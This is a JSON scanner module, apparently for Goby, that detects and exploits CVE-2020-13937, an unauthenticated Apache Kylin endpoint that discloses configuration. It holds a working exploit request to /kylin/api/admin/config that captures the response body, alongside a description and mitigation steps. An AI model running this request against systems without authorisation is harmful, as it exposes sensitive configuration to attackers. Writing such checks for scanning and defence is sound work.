Apache_Kylin_Unauthorized_configuration_disclosure.json

{
      "Name": "Apache Kylin Unauthorized configuration disclosure (CVE-2020-13937)",
      "Level": "0",
      "Tags": [
            "Disclosure of Sensitive Information"
      ],
      "GobyQuery": "app=\"APACHE-kylin\"",
      "Description": "Apache kylin has a restful API that exposes configuration information without authorization.\nAttackers can use this vulnerability to obtain sensitive information of the system.",
      "Product": "Apache kylin",
      "Homepage": "http://kylin.apache.org/",
      "Author": "PeiQi",
      "Impact": "<p>Attackers can use this vulnerability to obtain sensitive information of the system.<br></p>",
      "Recommandation": "<p>Upgrade to the safe version, or perform the following mitigation measures:</p><p>Edit \"$kylin\"_ HOME/WEB-INF/classes/ kylinSecurity.xml \"；</p><p>Delete the following line \"&lt; scr:intercept-url pattern= \"/api/admin/config\" access=\"permitAll\"/&gt;\"；</p><p>Restart the kylin instance to take effect.</p>",
      "References": [
            "http://wiki.peiqi.tech"
      ],
	  "HasExp": true,
	  "ExpParams": [
		{
			"name": "Config",
			"type": "select",
			"value": "/kylin/api/admin/config",
			"show": ""
		}
	  ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/kylin/api/admin/config",
                        "follow_redirect": true,
                        "header": {},
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "config",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
	  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/kylin/api/admin/config",
                        "follow_redirect": true,
                        "header": {},
                        "data_type": "text",
                        "data": ""
                  },
				  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "config",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
					"output|lastbody"
				  ]
            }
      ],
      "PostTime": "2021-04-04 15:55:28",
      "GobyVersion": "1.8.255"
}